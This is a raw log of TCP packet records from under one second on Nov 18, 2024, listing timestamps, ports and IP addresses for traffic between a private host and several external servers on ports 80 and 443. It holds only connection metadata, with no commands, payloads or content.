Nov 18, 2024 19:04:39.154870033 CET	49979	80	192.168.2.5	62.76.234.151
Nov 18, 2024 19:04:39.172997952 CET	80	49991	185.215.113.16	192.168.2.5
Nov 18, 2024 19:04:39.173033953 CET	80	49991	185.215.113.16	192.168.2.5
Nov 18, 2024 19:04:39.173072100 CET	80	49991	185.215.113.16	192.168.2.5
Nov 18, 2024 19:04:39.173157930 CET	49991	80	192.168.2.5	185.215.113.16
Nov 18, 2024 19:04:39.173157930 CET	49991	80	192.168.2.5	185.215.113.16
Nov 18, 2024 19:04:39.180550098 CET	80	49991	185.215.113.16	192.168.2.5
Nov 18, 2024 19:04:39.180607080 CET	80	49991	185.215.113.16	192.168.2.5
Nov 18, 2024 19:04:39.180640936 CET	80	49991	185.215.113.16	192.168.2.5
Nov 18, 2024 19:04:39.180685043 CET	49991	80	192.168.2.5	185.215.113.16
Nov 18, 2024 19:04:39.180716991 CET	49991	80	192.168.2.5	185.215.113.16
Nov 18, 2024 19:04:39.183393955 CET	80	49989	185.215.113.206	192.168.2.5
Nov 18, 2024 19:04:39.184603930 CET	49989	80	192.168.2.5	185.215.113.206
Nov 18, 2024 19:04:39.264739037 CET	80	49991	185.215.113.16	192.168.2.5
Nov 18, 2024 19:04:39.264803886 CET	80	49991	185.215.113.16	192.168.2.5
Nov 18, 2024 19:04:39.264841080 CET	80	49991	185.215.113.16	192.168.2.5
Nov 18, 2024 19:04:39.264874935 CET	80	49991	185.215.113.16	192.168.2.5
Nov 18, 2024 19:04:39.264910936 CET	80	49991	185.215.113.16	192.168.2.5
Nov 18, 2024 19:04:39.264940977 CET	80	49991	185.215.113.16	192.168.2.5
Nov 18, 2024 19:04:39.264940023 CET	49991	80	192.168.2.5	185.215.113.16
Nov 18, 2024 19:04:39.264993906 CET	80	49991	185.215.113.16	192.168.2.5
Nov 18, 2024 19:04:39.264996052 CET	49991	80	192.168.2.5	185.215.113.16
Nov 18, 2024 19:04:39.265013933 CET	49991	80	192.168.2.5	185.215.113.16
Nov 18, 2024 19:04:39.265028000 CET	80	49991	185.215.113.16	192.168.2.5
Nov 18, 2024 19:04:39.265039921 CET	49991	80	192.168.2.5	185.215.113.16
Nov 18, 2024 19:04:39.265077114 CET	80	49991	185.215.113.16	192.168.2.5
Nov 18, 2024 19:04:39.265110016 CET	80	49991	185.215.113.16	192.168.2.5
Nov 18, 2024 19:04:39.265125036 CET	49991	80	192.168.2.5	185.215.113.16
Nov 18, 2024 19:04:39.265142918 CET	80	49991	185.215.113.16	192.168.2.5
Nov 18, 2024 19:04:39.265152931 CET	49991	80	192.168.2.5	185.215.113.16
Nov 18, 2024 19:04:39.265177011 CET	80	49991	185.215.113.16	192.168.2.5
Nov 18, 2024 19:04:39.265189886 CET	49991	80	192.168.2.5	185.215.113.16
Nov 18, 2024 19:04:39.265208960 CET	80	49991	185.215.113.16	192.168.2.5
Nov 18, 2024 19:04:39.265221119 CET	49991	80	192.168.2.5	185.215.113.16
Nov 18, 2024 19:04:39.265244961 CET	80	49991	185.215.113.16	192.168.2.5
Nov 18, 2024 19:04:39.265254974 CET	49991	80	192.168.2.5	185.215.113.16
Nov 18, 2024 19:04:39.265276909 CET	80	49991	185.215.113.16	192.168.2.5
Nov 18, 2024 19:04:39.265286922 CET	49991	80	192.168.2.5	185.215.113.16
Nov 18, 2024 19:04:39.265312910 CET	80	49991	185.215.113.16	192.168.2.5
Nov 18, 2024 19:04:39.265322924 CET	49991	80	192.168.2.5	185.215.113.16
Nov 18, 2024 19:04:39.265360117 CET	49991	80	192.168.2.5	185.215.113.16
Nov 18, 2024 19:04:39.268076897 CET	80	49979	62.76.234.151	192.168.2.5
Nov 18, 2024 19:04:39.268106937 CET	80	49979	62.76.234.151	192.168.2.5
Nov 18, 2024 19:04:39.268212080 CET	49979	80	192.168.2.5	62.76.234.151
Nov 18, 2024 19:04:39.270188093 CET	80	49979	62.76.234.151	192.168.2.5
Nov 18, 2024 19:04:39.270216942 CET	80	49979	62.76.234.151	192.168.2.5
Nov 18, 2024 19:04:39.270292997 CET	49979	80	192.168.2.5	62.76.234.151
Nov 18, 2024 19:04:39.292695045 CET	80	49991	185.215.113.16	192.168.2.5
Nov 18, 2024 19:04:39.292776108 CET	80	49991	185.215.113.16	192.168.2.5
Nov 18, 2024 19:04:39.292829037 CET	80	49991	185.215.113.16	192.168.2.5
Nov 18, 2024 19:04:39.292859077 CET	49991	80	192.168.2.5	185.215.113.16
Nov 18, 2024 19:04:39.292902946 CET	49991	80	192.168.2.5	185.215.113.16
Nov 18, 2024 19:04:39.298243999 CET	49989	80	192.168.2.5	185.215.113.206
Nov 18, 2024 19:04:39.298270941 CET	49989	80	192.168.2.5	185.215.113.206
Nov 18, 2024 19:04:39.299339056 CET	80	49991	185.215.113.16	192.168.2.5
Nov 18, 2024 19:04:39.299429893 CET	80	49991	185.215.113.16	192.168.2.5
Nov 18, 2024 19:04:39.299463987 CET	80	49991	185.215.113.16	192.168.2.5
Nov 18, 2024 19:04:39.299495935 CET	49991	80	192.168.2.5	185.215.113.16
Nov 18, 2024 19:04:39.299523115 CET	49991	80	192.168.2.5	185.215.113.16
Nov 18, 2024 19:04:39.303725958 CET	80	49989	185.215.113.206	192.168.2.5
Nov 18, 2024 19:04:39.303755999 CET	80	49989	185.215.113.206	192.168.2.5
Nov 18, 2024 19:04:39.303782940 CET	80	49989	185.215.113.206	192.168.2.5
Nov 18, 2024 19:04:39.303814888 CET	80	49989	185.215.113.206	192.168.2.5
Nov 18, 2024 19:04:39.303908110 CET	80	49989	185.215.113.206	192.168.2.5
Nov 18, 2024 19:04:39.304105997 CET	80	49979	62.76.234.151	192.168.2.5
Nov 18, 2024 19:04:39.304275036 CET	80	49979	62.76.234.151	192.168.2.5
Nov 18, 2024 19:04:39.304303885 CET	80	49989	185.215.113.206	192.168.2.5
Nov 18, 2024 19:04:39.304362059 CET	49979	80	192.168.2.5	62.76.234.151
Nov 18, 2024 19:04:39.380382061 CET	80	49991	185.215.113.16	192.168.2.5
Nov 18, 2024 19:04:39.380575895 CET	80	49991	185.215.113.16	192.168.2.5
Nov 18, 2024 19:04:39.380654097 CET	49991	80	192.168.2.5	185.215.113.16
Nov 18, 2024 19:04:39.380686045 CET	49991	80	192.168.2.5	185.215.113.16
Nov 18, 2024 19:04:39.380713940 CET	80	49991	185.215.113.16	192.168.2.5
Nov 18, 2024 19:04:39.380873919 CET	80	49991	185.215.113.16	192.168.2.5
Nov 18, 2024 19:04:39.380928993 CET	49991	80	192.168.2.5	185.215.113.16
Nov 18, 2024 19:04:39.381045103 CET	80	49991	185.215.113.16	192.168.2.5
Nov 18, 2024 19:04:39.381078959 CET	80	49991	185.215.113.16	192.168.2.5
Nov 18, 2024 19:04:39.381093025 CET	49991	80	192.168.2.5	185.215.113.16
Nov 18, 2024 19:04:39.381119967 CET	49991	80	192.168.2.5	185.215.113.16
Nov 18, 2024 19:04:39.381239891 CET	80	49991	185.215.113.16	192.168.2.5
Nov 18, 2024 19:04:39.381274939 CET	80	49991	185.215.113.16	192.168.2.5
Nov 18, 2024 19:04:39.381285906 CET	49991	80	192.168.2.5	185.215.113.16
Nov 18, 2024 19:04:39.381309986 CET	80	49991	185.215.113.16	192.168.2.5
Nov 18, 2024 19:04:39.381321907 CET	49991	80	192.168.2.5	185.215.113.16
Nov 18, 2024 19:04:39.381344080 CET	49991	80	192.168.2.5	185.215.113.16
Nov 18, 2024 19:04:39.381346941 CET	80	49979	62.76.234.151	192.168.2.5
Nov 18, 2024 19:04:39.381386042 CET	80	49979	62.76.234.151	192.168.2.5
Nov 18, 2024 19:04:39.381414890 CET	80	49991	185.215.113.16	192.168.2.5
Nov 18, 2024 19:04:39.381448030 CET	80	49991	185.215.113.16	192.168.2.5
Nov 18, 2024 19:04:39.381463051 CET	49991	80	192.168.2.5	185.215.113.16
Nov 18, 2024 19:04:39.381481886 CET	80	49991	185.215.113.16	192.168.2.5
Nov 18, 2024 19:04:39.381489038 CET	49991	80	192.168.2.5	185.215.113.16
Nov 18, 2024 19:04:39.381484985 CET	49979	80	192.168.2.5	62.76.234.151
Nov 18, 2024 19:04:39.381527901 CET	49991	80	192.168.2.5	185.215.113.16
Nov 18, 2024 19:04:39.381690025 CET	80	49991	185.215.113.16	192.168.2.5
Nov 18, 2024 19:04:39.381737947 CET	49991	80	192.168.2.5	185.215.113.16
Nov 18, 2024 19:04:39.381850004 CET	80	49991	185.215.113.16	192.168.2.5
Nov 18, 2024 19:04:39.381882906 CET	80	49991	185.215.113.16	192.168.2.5
Nov 18, 2024 19:04:39.381896973 CET	49991	80	192.168.2.5	185.215.113.16
Nov 18, 2024 19:04:39.381931067 CET	49991	80	192.168.2.5	185.215.113.16
Nov 18, 2024 19:04:39.411514997 CET	80	49991	185.215.113.16	192.168.2.5
Nov 18, 2024 19:04:39.411535978 CET	80	49991	185.215.113.16	192.168.2.5
Nov 18, 2024 19:04:39.411550045 CET	80	49991	185.215.113.16	192.168.2.5
Nov 18, 2024 19:04:39.411561966 CET	80	49991	185.215.113.16	192.168.2.5
Nov 18, 2024 19:04:39.411604881 CET	49991	80	192.168.2.5	185.215.113.16
Nov 18, 2024 19:04:39.411659956 CET	49991	80	192.168.2.5	185.215.113.16
Nov 18, 2024 19:04:39.417819023 CET	80	49991	185.215.113.16	192.168.2.5
Nov 18, 2024 19:04:39.417830944 CET	80	49991	185.215.113.16	192.168.2.5
Nov 18, 2024 19:04:39.417841911 CET	80	49991	185.215.113.16	192.168.2.5
Nov 18, 2024 19:04:39.417889118 CET	49991	80	192.168.2.5	185.215.113.16
Nov 18, 2024 19:04:39.417910099 CET	49991	80	192.168.2.5	185.215.113.16
Nov 18, 2024 19:04:39.446335077 CET	80	49979	62.76.234.151	192.168.2.5
Nov 18, 2024 19:04:39.446484089 CET	80	49979	62.76.234.151	192.168.2.5
Nov 18, 2024 19:04:39.446597099 CET	49979	80	192.168.2.5	62.76.234.151
Nov 18, 2024 19:04:39.447957993 CET	80	49979	62.76.234.151	192.168.2.5
Nov 18, 2024 19:04:39.448026896 CET	80	49979	62.76.234.151	192.168.2.5
Nov 18, 2024 19:04:39.448076963 CET	49979	80	192.168.2.5	62.76.234.151
Nov 18, 2024 19:04:39.498133898 CET	80	49991	185.215.113.16	192.168.2.5
Nov 18, 2024 19:04:39.498172998 CET	80	49991	185.215.113.16	192.168.2.5
Nov 18, 2024 19:04:39.498224974 CET	80	49991	185.215.113.16	192.168.2.5
Nov 18, 2024 19:04:39.498255968 CET	49991	80	192.168.2.5	185.215.113.16
Nov 18, 2024 19:04:39.498296022 CET	49991	80	192.168.2.5	185.215.113.16
Nov 18, 2024 19:04:39.498306990 CET	80	49991	185.215.113.16	192.168.2.5
Nov 18, 2024 19:04:39.498389006 CET	80	49991	185.215.113.16	192.168.2.5
Nov 18, 2024 19:04:39.498440027 CET	49991	80	192.168.2.5	185.215.113.16
Nov 18, 2024 19:04:39.498460054 CET	80	49991	185.215.113.16	192.168.2.5
Nov 18, 2024 19:04:39.498492956 CET	80	49991	185.215.113.16	192.168.2.5
Nov 18, 2024 19:04:39.498506069 CET	49991	80	192.168.2.5	185.215.113.16
Nov 18, 2024 19:04:39.498536110 CET	49991	80	192.168.2.5	185.215.113.16
Nov 18, 2024 19:04:39.498651981 CET	80	49991	185.215.113.16	192.168.2.5
Nov 18, 2024 19:04:39.498687029 CET	80	49991	185.215.113.16	192.168.2.5
Nov 18, 2024 19:04:39.498703003 CET	49991	80	192.168.2.5	185.215.113.16
Nov 18, 2024 19:04:39.498730898 CET	49991	80	192.168.2.5	185.215.113.16
Nov 18, 2024 19:04:39.498760939 CET	80	49991	185.215.113.16	192.168.2.5
Nov 18, 2024 19:04:39.498802900 CET	49991	80	192.168.2.5	185.215.113.16
Nov 18, 2024 19:04:39.499099016 CET	80	49991	185.215.113.16	192.168.2.5
Nov 18, 2024 19:04:39.499133110 CET	80	49991	185.215.113.16	192.168.2.5
Nov 18, 2024 19:04:39.499146938 CET	49991	80	192.168.2.5	185.215.113.16
Nov 18, 2024 19:04:39.499167919 CET	80	49991	185.215.113.16	192.168.2.5
Nov 18, 2024 19:04:39.499181032 CET	49991	80	192.168.2.5	185.215.113.16
Nov 18, 2024 19:04:39.499207973 CET	49991	80	192.168.2.5	185.215.113.16
Nov 18, 2024 19:04:39.499480009 CET	80	49991	185.215.113.16	192.168.2.5
Nov 18, 2024 19:04:39.499516010 CET	80	49991	185.215.113.16	192.168.2.5
Nov 18, 2024 19:04:39.499526978 CET	49991	80	192.168.2.5	185.215.113.16
Nov 18, 2024 19:04:39.499548912 CET	80	49991	185.215.113.16	192.168.2.5
Nov 18, 2024 19:04:39.499558926 CET	49991	80	192.168.2.5	185.215.113.16
Nov 18, 2024 19:04:39.499592066 CET	49991	80	192.168.2.5	185.215.113.16
Nov 18, 2024 19:04:39.530291080 CET	80	49991	185.215.113.16	192.168.2.5
Nov 18, 2024 19:04:39.530314922 CET	80	49991	185.215.113.16	192.168.2.5
Nov 18, 2024 19:04:39.530328035 CET	80	49991	185.215.113.16	192.168.2.5
Nov 18, 2024 19:04:39.530359983 CET	49991	80	192.168.2.5	185.215.113.16
Nov 18, 2024 19:04:39.530395031 CET	49991	80	192.168.2.5	185.215.113.16
Nov 18, 2024 19:04:39.536657095 CET	80	49991	185.215.113.16	192.168.2.5
Nov 18, 2024 19:04:39.536690950 CET	80	49991	185.215.113.16	192.168.2.5
Nov 18, 2024 19:04:39.536717892 CET	80	49991	185.215.113.16	192.168.2.5
Nov 18, 2024 19:04:39.536753893 CET	49991	80	192.168.2.5	185.215.113.16
Nov 18, 2024 19:04:39.536803961 CET	49991	80	192.168.2.5	185.215.113.16
Nov 18, 2024 19:04:39.536869049 CET	80	49991	185.215.113.16	192.168.2.5
Nov 18, 2024 19:04:39.536896944 CET	80	49991	185.215.113.16	192.168.2.5
Nov 18, 2024 19:04:39.536922932 CET	80	49991	185.215.113.16	192.168.2.5
Nov 18, 2024 19:04:39.536943913 CET	49991	80	192.168.2.5	185.215.113.16
Nov 18, 2024 19:04:39.536988020 CET	49991	80	192.168.2.5	185.215.113.16
Nov 18, 2024 19:04:39.540689945 CET	80	49979	62.76.234.151	192.168.2.5
Nov 18, 2024 19:04:39.540781021 CET	80	49979	62.76.234.151	192.168.2.5
Nov 18, 2024 19:04:39.540853024 CET	49979	80	192.168.2.5	62.76.234.151
Nov 18, 2024 19:04:39.541846037 CET	80	49979	62.76.234.151	192.168.2.5
Nov 18, 2024 19:04:39.541898012 CET	80	49979	62.76.234.151	192.168.2.5
Nov 18, 2024 19:04:39.541991949 CET	49979	80	192.168.2.5	62.76.234.151
Nov 18, 2024 19:04:39.610985041 CET	80	49979	62.76.234.151	192.168.2.5
Nov 18, 2024 19:04:39.611042023 CET	80	49979	62.76.234.151	192.168.2.5
Nov 18, 2024 19:04:39.612185001 CET	80	49979	62.76.234.151	192.168.2.5
Nov 18, 2024 19:04:39.612251043 CET	49979	80	192.168.2.5	62.76.234.151
Nov 18, 2024 19:04:39.612683058 CET	80	49979	62.76.234.151	192.168.2.5
Nov 18, 2024 19:04:39.616595030 CET	49979	80	192.168.2.5	62.76.234.151
Nov 18, 2024 19:04:39.616780996 CET	80	49991	185.215.113.16	192.168.2.5
Nov 18, 2024 19:04:39.616817951 CET	80	49991	185.215.113.16	192.168.2.5
Nov 18, 2024 19:04:39.616852045 CET	80	49991	185.215.113.16	192.168.2.5
Nov 18, 2024 19:04:39.616873026 CET	49991	80	192.168.2.5	185.215.113.16
Nov 18, 2024 19:04:39.616902113 CET	49991	80	192.168.2.5	185.215.113.16
Nov 18, 2024 19:04:39.617127895 CET	80	49991	185.215.113.16	192.168.2.5
Nov 18, 2024 19:04:39.617156982 CET	80	49991	185.215.113.16	192.168.2.5
Nov 18, 2024 19:04:39.617187977 CET	49991	80	192.168.2.5	185.215.113.16
Nov 18, 2024 19:04:39.617189884 CET	80	49991	185.215.113.16	192.168.2.5
Nov 18, 2024 19:04:39.617198944 CET	49991	80	192.168.2.5	185.215.113.16
Nov 18, 2024 19:04:39.617233992 CET	49991	80	192.168.2.5	185.215.113.16
Nov 18, 2024 19:04:39.617270947 CET	80	49991	185.215.113.16	192.168.2.5
Nov 18, 2024 19:04:39.617305040 CET	80	49991	185.215.113.16	192.168.2.5
Nov 18, 2024 19:04:39.617315054 CET	49991	80	192.168.2.5	185.215.113.16
Nov 18, 2024 19:04:39.617347956 CET	49991	80	192.168.2.5	185.215.113.16
Nov 18, 2024 19:04:39.617361069 CET	80	49991	185.215.113.16	192.168.2.5
Nov 18, 2024 19:04:39.617394924 CET	80	49979	62.76.234.151	192.168.2.5
Nov 18, 2024 19:04:39.617400885 CET	49991	80	192.168.2.5	185.215.113.16
Nov 18, 2024 19:04:39.617427111 CET	80	49979	62.76.234.151	192.168.2.5
Nov 18, 2024 19:04:39.617679119 CET	80	49991	185.215.113.16	192.168.2.5
Nov 18, 2024 19:04:39.617711067 CET	80	49991	185.215.113.16	192.168.2.5
Nov 18, 2024 19:04:39.617728949 CET	49991	80	192.168.2.5	185.215.113.16
Nov 18, 2024 19:04:39.617736101 CET	49979	80	192.168.2.5	62.76.234.151
Nov 18, 2024 19:04:39.617744923 CET	80	49991	185.215.113.16	192.168.2.5
Nov 18, 2024 19:04:39.617763996 CET	49991	80	192.168.2.5	185.215.113.16
Nov 18, 2024 19:04:39.617799044 CET	49991	80	192.168.2.5	185.215.113.16
Nov 18, 2024 19:04:39.617918968 CET	80	49991	185.215.113.16	192.168.2.5
Nov 18, 2024 19:04:39.617975950 CET	49991	80	192.168.2.5	185.215.113.16
Nov 18, 2024 19:04:39.617993116 CET	80	49991	185.215.113.16	192.168.2.5
Nov 18, 2024 19:04:39.618079901 CET	80	49991	185.215.113.16	192.168.2.5
Nov 18, 2024 19:04:39.618088007 CET	49991	80	192.168.2.5	185.215.113.16
Nov 18, 2024 19:04:39.618120909 CET	49991	80	192.168.2.5	185.215.113.16
Nov 18, 2024 19:04:39.649142981 CET	80	49991	185.215.113.16	192.168.2.5
Nov 18, 2024 19:04:39.649197102 CET	80	49991	185.215.113.16	192.168.2.5
Nov 18, 2024 19:04:39.649214983 CET	49991	80	192.168.2.5	185.215.113.16
Nov 18, 2024 19:04:39.649255037 CET	49991	80	192.168.2.5	185.215.113.16
Nov 18, 2024 19:04:39.649270058 CET	80	49991	185.215.113.16	192.168.2.5
Nov 18, 2024 19:04:39.649312973 CET	49991	80	192.168.2.5	185.215.113.16
Nov 18, 2024 19:04:39.655219078 CET	80	49991	185.215.113.16	192.168.2.5
Nov 18, 2024 19:04:39.655272961 CET	80	49991	185.215.113.16	192.168.2.5
Nov 18, 2024 19:04:39.655276060 CET	49991	80	192.168.2.5	185.215.113.16
Nov 18, 2024 19:04:39.655338049 CET	49991	80	192.168.2.5	185.215.113.16
Nov 18, 2024 19:04:39.655846119 CET	80	49991	185.215.113.16	192.168.2.5
Nov 18, 2024 19:04:39.655883074 CET	80	49991	185.215.113.16	192.168.2.5
Nov 18, 2024 19:04:39.655896902 CET	49991	80	192.168.2.5	185.215.113.16
Nov 18, 2024 19:04:39.655917883 CET	80	49991	185.215.113.16	192.168.2.5
Nov 18, 2024 19:04:39.655925035 CET	49991	80	192.168.2.5	185.215.113.16
Nov 18, 2024 19:04:39.655953884 CET	80	49991	185.215.113.16	192.168.2.5
Nov 18, 2024 19:04:39.655961990 CET	49991	80	192.168.2.5	185.215.113.16
Nov 18, 2024 19:04:39.655996084 CET	49991	80	192.168.2.5	185.215.113.16
Nov 18, 2024 19:04:39.684256077 CET	443	49992	188.114.96.3	192.168.2.5
Nov 18, 2024 19:04:39.684336901 CET	49992	443	192.168.2.5	188.114.96.3
Nov 18, 2024 19:04:39.686269045 CET	49992	443	192.168.2.5	188.114.96.3
Nov 18, 2024 19:04:39.686291933 CET	443	49992	188.114.96.3	192.168.2.5
Nov 18, 2024 19:04:39.686630011 CET	443	49992	188.114.96.3	192.168.2.5
Nov 18, 2024 19:04:39.695169926 CET	49992	443	192.168.2.5	188.114.96.3
Nov 18, 2024 19:04:39.696291924 CET	49992	443	192.168.2.5	188.114.96.3
Nov 18, 2024 19:04:39.696357012 CET	443	49992	188.114.96.3	192.168.2.5
Nov 18, 2024 19:04:39.696480989 CET	49992	443	192.168.2.5	188.114.96.3
Nov 18, 2024 19:04:39.696537018 CET	443	49992	188.114.96.3	192.168.2.5
Nov 18, 2024 19:04:39.696675062 CET	49992	443	192.168.2.5	188.114.96.3
Nov 18, 2024 19:04:39.696743965 CET	443	49992	188.114.96.3	192.168.2.5
Nov 18, 2024 19:04:39.697784901 CET	49992	443	192.168.2.5	188.114.96.3
Nov 18, 2024 19:04:39.697854042 CET	443	49992	188.114.96.3	192.168.2.5
Nov 18, 2024 19:04:39.698060036 CET	49992	443	192.168.2.5	188.114.96.3
Nov 18, 2024 19:04:39.698111057 CET	443	49992	188.114.96.3	192.168.2.5
Nov 18, 2024 19:04:39.698435068 CET	49992	443	192.168.2.5	188.114.96.3
Nov 18, 2024 19:04:39.698482037 CET	443	49992	188.114.96.3	192.168.2.5
Nov 18, 2024 19:04:39.698501110 CET	49992	443	192.168.2.5	188.114.96.3
Nov 18, 2024 19:04:39.698514938 CET	443	49992	188.114.96.3	192.168.2.5
Nov 18, 2024 19:04:39.698700905 CET	49992	443	192.168.2.5	188.114.96.3
Nov 18, 2024 19:04:39.698746920 CET	443	49992	188.114.96.3	192.168.2.5
Nov 18, 2024 19:04:39.698767900 CET	49992	443	192.168.2.5	188.114.96.3
Nov 18, 2024 19:04:39.698872089 CET	49992	443	192.168.2.5	188.114.96.3
Nov 18, 2024 19:04:39.698920965 CET	49992	443	192.168.2.5	188.114.96.3
Nov 18, 2024 19:04:39.702136993 CET	80	49979	62.76.234.151	192.168.2.5
Nov 18, 2024 19:04:39.702434063 CET	80	49979	62.76.234.151	192.168.2.5
Nov 18, 2024 19:04:39.702469110 CET	80	49979	62.76.234.151	192.168.2.5
Nov 18, 2024 19:04:39.702485085 CET	49979	80	192.168.2.5	62.76.234.151
Nov 18, 2024 19:04:39.704499960 CET	80	49979	62.76.234.151	192.168.2.5
Nov 18, 2024 19:04:39.704534054 CET	80	49979	62.76.234.151	192.168.2.5
Nov 18, 2024 19:04:39.704588890 CET	49979	80	192.168.2.5	62.76.234.151
Nov 18, 2024 19:04:39.707856894 CET	443	49992	188.114.96.3	192.168.2.5
Nov 18, 2024 19:04:39.708040953 CET	49992	443	192.168.2.5	188.114.96.3
Nov 18, 2024 19:04:39.708092928 CET	443	49992	188.114.96.3	192.168.2.5
Nov 18, 2024 19:04:39.708112001 CET	49992	443	192.168.2.5	188.114.96.3
Nov 18, 2024 19:04:39.708142042 CET	443	49992	188.114.96.3	192.168.2.5
Nov 18, 2024 19:04:39.708165884 CET	49992	443	192.168.2.5	188.114.96.3
Nov 18, 2024 19:04:39.708188057 CET	443	49992	188.114.96.3	192.168.2.5
Nov 18, 2024 19:04:39.708229065 CET	49992	443	192.168.2.5	188.114.96.3
Nov 18, 2024 19:04:39.712712049 CET	443	49992	188.114.96.3	192.168.2.5
Nov 18, 2024 19:04:39.735347033 CET	80	49991	185.215.113.16	192.168.2.5
Nov 18, 2024 19:04:39.735383034 CET	80	49991	185.215.113.16	192.168.2.5
Nov 18, 2024 19:04:39.735414028 CET	80	49991	185.215.113.16	192.168.2.5
Nov 18, 2024 19:04:39.735421896 CET	49991	80	192.168.2.5	185.215.113.16
Nov 18, 2024 19:04:39.735460043 CET	49991	80	192.168.2.5	185.215.113.16
Nov 18, 2024 19:04:39.735749960 CET	80	49991	185.215.113.16	192.168.2.5
Nov 18, 2024 19:04:39.735781908 CET	80	49991	185.215.113.16	192.168.2.5
Nov 18, 2024 19:04:39.735802889 CET	49991	80	192.168.2.5	185.215.113.16
Nov 18, 2024 19:04:39.735814095 CET	80	49991	185.215.113.16	192.168.2.5
Nov 18, 2024 19:04:39.735831022 CET	49991	80	192.168.2.5	185.215.113.16
Nov 18, 2024 19:04:39.735857010 CET	49991	80	192.168.2.5	185.215.113.16
Nov 18, 2024 19:04:39.735997915 CET	80	49991	185.215.113.16	192.168.2.5
Nov 18, 2024 19:04:39.736035109 CET	80	49991	185.215.113.16	192.168.2.5
Nov 18, 2024 19:04:39.736052990 CET	49991	80	192.168.2.5	185.215.113.16
Nov 18, 2024 19:04:39.736078978 CET	49991	80	192.168.2.5	185.215.113.16
Nov 18, 2024 19:04:39.736090899 CET	80	49991	185.215.113.16	192.168.2.5
Nov 18, 2024 19:04:39.736145020 CET	49991	80	192.168.2.5	185.215.113.16
Nov 18, 2024 19:04:39.736156940 CET	80	49991	185.215.113.16	192.168.2.5
Nov 18, 2024 19:04:39.736187935 CET	80	49991	185.215.113.16	192.168.2.5
Nov 18, 2024 19:04:39.736202955 CET	49991	80	192.168.2.5	185.215.113.16
Nov 18, 2024 19:04:39.736241102 CET	49991	80	192.168.2.5	185.215.113.16
Nov 18, 2024 19:04:39.736274958 CET	80	49991	185.215.113.16	192.168.2.5
Nov 18, 2024 19:04:39.736305952 CET	80	49991	185.215.113.16	192.168.2.5
Nov 18, 2024 19:04:39.736315012 CET	49991	80	192.168.2.5	185.215.113.16
Nov 18, 2024 19:04:39.736337900 CET	80	49991	185.215.113.16	192.168.2.5
Nov 18, 2024 19:04:39.736346960 CET	49991	80	192.168.2.5	185.215.113.16
Nov 18, 2024 19:04:39.736380100 CET	49991	80	192.168.2.5	185.215.113.16
Nov 18, 2024 19:04:39.762686968 CET	80	49979	62.76.234.151	192.168.2.5
Nov 18, 2024 19:04:39.762722015 CET	80	49979	62.76.234.151	192.168.2.5
Nov 18, 2024 19:04:39.762758017 CET	80	49979	62.76.234.151	192.168.2.5
Nov 18, 2024 19:04:39.762800932 CET	49979	80	192.168.2.5	62.76.234.151
Nov 18, 2024 19:04:39.769218922 CET	80	49991	185.215.113.16	192.168.2.5
Nov 18, 2024 19:04:39.769274950 CET	80	49991	185.215.113.16	192.168.2.5
Nov 18, 2024 19:04:39.769309998 CET	80	49991	185.215.113.16	192.168.2.5
Nov 18, 2024 19:04:39.769340992 CET	49991	80	192.168.2.5	185.215.113.16
Nov 18, 2024 19:04:39.769370079 CET	49991	80	192.168.2.5	185.215.113.16
Nov 18, 2024 19:04:39.774084091 CET	80	49991	185.215.113.16	192.168.2.5
Nov 18, 2024 19:04:39.774118900 CET	80	49991	185.215.113.16	192.168.2.5
Nov 18, 2024 19:04:39.774152040 CET	80	49991	185.215.113.16	192.168.2.5
Nov 18, 2024 19:04:39.774182081 CET	49991	80	192.168.2.5	185.215.113.16
Nov 18, 2024 19:04:39.774214983 CET	49991	80	192.168.2.5	185.215.113.16
Nov 18, 2024 19:04:39.774502993 CET	80	49991	185.215.113.16	192.168.2.5
Nov 18, 2024 19:04:39.774555922 CET	49991	80	192.168.2.5	185.215.113.16
Nov 18, 2024 19:04:39.774559021 CET	80	49991	185.215.113.16	192.168.2.5
Nov 18, 2024 19:04:39.774591923 CET	80	49991	185.215.113.16	192.168.2.5
Nov 18, 2024 19:04:39.774605036 CET	49991	80	192.168.2.5	185.215.113.16
Nov 18, 2024 19:04:39.774631977 CET	49991	80	192.168.2.5	185.215.113.16
Nov 18, 2024 19:04:39.813468933 CET	49979	80	192.168.2.5	62.76.234.151
Nov 18, 2024 19:04:39.823018074 CET	80	49979	62.76.234.151	192.168.2.5
Nov 18, 2024 19:04:39.823276043 CET	80	49979	62.76.234.151	192.168.2.5
Nov 18, 2024 19:04:39.823348999 CET	49979	80	192.168.2.5	62.76.234.151
Nov 18, 2024 19:04:39.869024038 CET	80	49991	185.215.113.16	192.168.2.5
Nov 18, 2024 19:04:39.869040012 CET	80	49991	185.215.113.16	192.168.2.5
Nov 18, 2024 19:04:39.869057894 CET	80	49991	185.215.113.16	192.168.2.5
Nov 18, 2024 19:04:39.869066954 CET	80	49991	185.215.113.16	192.168.2.5
Nov 18, 2024 19:04:39.869091034 CET	80	49991	185.215.113.16	192.168.2.5
Nov 18, 2024 19:04:39.869091034 CET	49991	80	192.168.2.5	185.215.113.16
Nov 18, 2024 19:04:39.869101048 CET	80	49991	185.215.113.16	192.168.2.5
Nov 18, 2024 19:04:39.869141102 CET	49991	80	192.168.2.5	185.215.113.16
Nov 18, 2024 19:04:39.869482994 CET	80	49991	185.215.113.16	192.168.2.5
Nov 18, 2024 19:04:39.869493961 CET	80	49991	185.215.113.16	192.168.2.5
Nov 18, 2024 19:04:39.869504929 CET	80	49991	185.215.113.16	192.168.2.5
Nov 18, 2024 19:04:39.869529009 CET	49991	80	192.168.2.5	185.215.113.16
Nov 18, 2024 19:04:39.869595051 CET	49991	80	192.168.2.5	185.215.113.16
Nov 18, 2024 19:04:39.869700909 CET	80	49991	185.215.113.16	192.168.2.5
Nov 18, 2024 19:04:39.869712114 CET	80	49991	185.215.113.16	192.168.2.5
Nov 18, 2024 19:04:39.869723082 CET	80	49991	185.215.113.16	192.168.2.5
Nov 18, 2024 19:04:39.869760990 CET	49991	80	192.168.2.5	185.215.113.16
Nov 18, 2024 19:04:39.869776011 CET	49991	80	192.168.2.5	185.215.113.16
Nov 18, 2024 19:04:39.870254040 CET	80	49991	185.215.113.16	192.168.2.5
Nov 18, 2024 19:04:39.870265007 CET	80	49991	185.215.113.16	192.168.2.5
Nov 18, 2024 19:04:39.870274067 CET	80	49991	185.215.113.16	192.168.2.5
Nov 18, 2024 19:04:39.870301008 CET	49991	80	192.168.2.5	185.215.113.16
Nov 18, 2024 19:04:39.870325089 CET	49991	80	192.168.2.5	185.215.113.16
Nov 18, 2024 19:04:39.871207952 CET	80	49979	62.76.234.151	192.168.2.5
